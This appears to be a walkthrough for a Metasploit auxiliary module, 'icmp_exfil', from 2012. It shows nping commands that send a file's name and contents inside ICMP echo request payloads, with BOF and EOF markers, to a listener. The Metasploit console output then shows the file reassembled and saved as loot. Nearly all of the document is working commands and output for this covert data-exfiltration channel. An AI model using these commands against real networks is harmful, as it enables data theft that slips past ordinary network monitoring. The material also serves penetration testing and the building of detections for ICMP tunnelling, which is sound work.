8c3f707c93
Tested with nping for data exfiltration (client-side script is suggested to get the full functionality out of the module). Walkthrough ============ == Client == ============ > nping --icmp 10.0.0.138 --data-string "BOF:test.txt" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.5860s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=42953 iplen=40 RCVD (1.0580s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=3551 iplen=33 Max rtt: 13.000ms | Min rtt: 13.000ms | Avg rtt: 13.000ms Raw packets sent: 1 (54B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.46000s | Tx bytes/s: 117.39 | Tx pkts/s: 2.17 Rx time: 1.46000s | Rx bytes/s: 22.60 | Rx pkts/s: 0.68 Nping done: 1 IP address pinged in 2.05 seconds > nping --icmp 10.0.0.138 --data-string "test text...." -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.6230s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=38228 iplen=41 RCVD (1.0540s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=14168 iplen=33 Max rtt: 10.000ms | Min rtt: 10.000ms | Avg rtt: 10.000ms Raw packets sent: 1 (55B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.42200s | Tx bytes/s: 130.33 | Tx pkts/s: 2.37 Rx time: 1.42200s | Rx bytes/s: 23.21 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.04 seconds > nping --icmp 10.0.0.138 --data-string " test text.... again" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:05 W. Europe Daylight Time SENT (0.6260s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=12163 iplen=48 RCVD (1.0580s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=60632 iplen=33 Max rtt: 12.000ms | Min rtt: 12.000ms | Avg rtt: 12.000ms Raw packets sent: 1 (62B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.42100s | Tx bytes/s: 147.27 | Tx pkts/s: 2.38 Rx time: 1.42200s | Rx bytes/s: 23.21 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.05 seconds > nping --icmp 10.0.0.138 --data-string "EOF" -c1 Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-04-04 15:06 W. Europe Daylight Time SENT (0.6420s) ICMP 10.0.0.148 > 10.0.0.138 Echo request (type=8/code=0) ttl=64 id=30459 iplen=31 RCVD (1.0970s) ICMP 10.0.0.138 > 10.0.0.148 Echo reply (type=0/code=0) ttl=32 id=55188 iplen=33 Max rtt: 24.000ms | Min rtt: 24.000ms | Avg rtt: 24.000ms Raw packets sent: 1 (45B) | Rcvd: 1 (33B) | Lost: 0 (0.00%) Tx time: 0.43100s | Tx bytes/s: 104.41 | Tx pkts/s: 2.32 Rx time: 1.43100s | Rx bytes/s: 23.06 | Rx pkts/s: 0.70 Nping done: 1 IP address pinged in 2.07 seconds ============ == SERVER == ============ msf auxiliary(icmp_exfil) > rerun [*] Reloading module... [+] ICMP Listener started on eth0 (10.0.0.138). Monitoring for trigger packet containing ^BOF: [*] 2012-04-04 15:05:31 +0200: SRC:10.0.0.148 ICMP (type 8 code 0) DST:10.0.0.138 [+] Beginning capture of test.txt data [*] Received 18 bytes of data from 10.0.0.148 [*] Received 20 bytes of data from 10.0.0.148 [*] 38 bytes of data recevied in total [+] End of File received. Saving test.txt to loot [+] Incoming file test.txt saved to loot [+] Loot filename: /root/.msf4/loot/20120404150603_default_10.0.0.138_icmp_exfil_340768.txt [*] Stopping ICMP listener on eth0 (10.0.0.138) [-] Auxiliary interrupted by the console user [*] Auxiliary module execution completed msf auxiliary(icmp_exfil) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 10.0.0.138 icmp_exfil test.txt text/xml ICMP Exfiltrated Data /root/.msf4/loot/20120404150603_default_10.0.0.138_icmp_exfil_340768.txt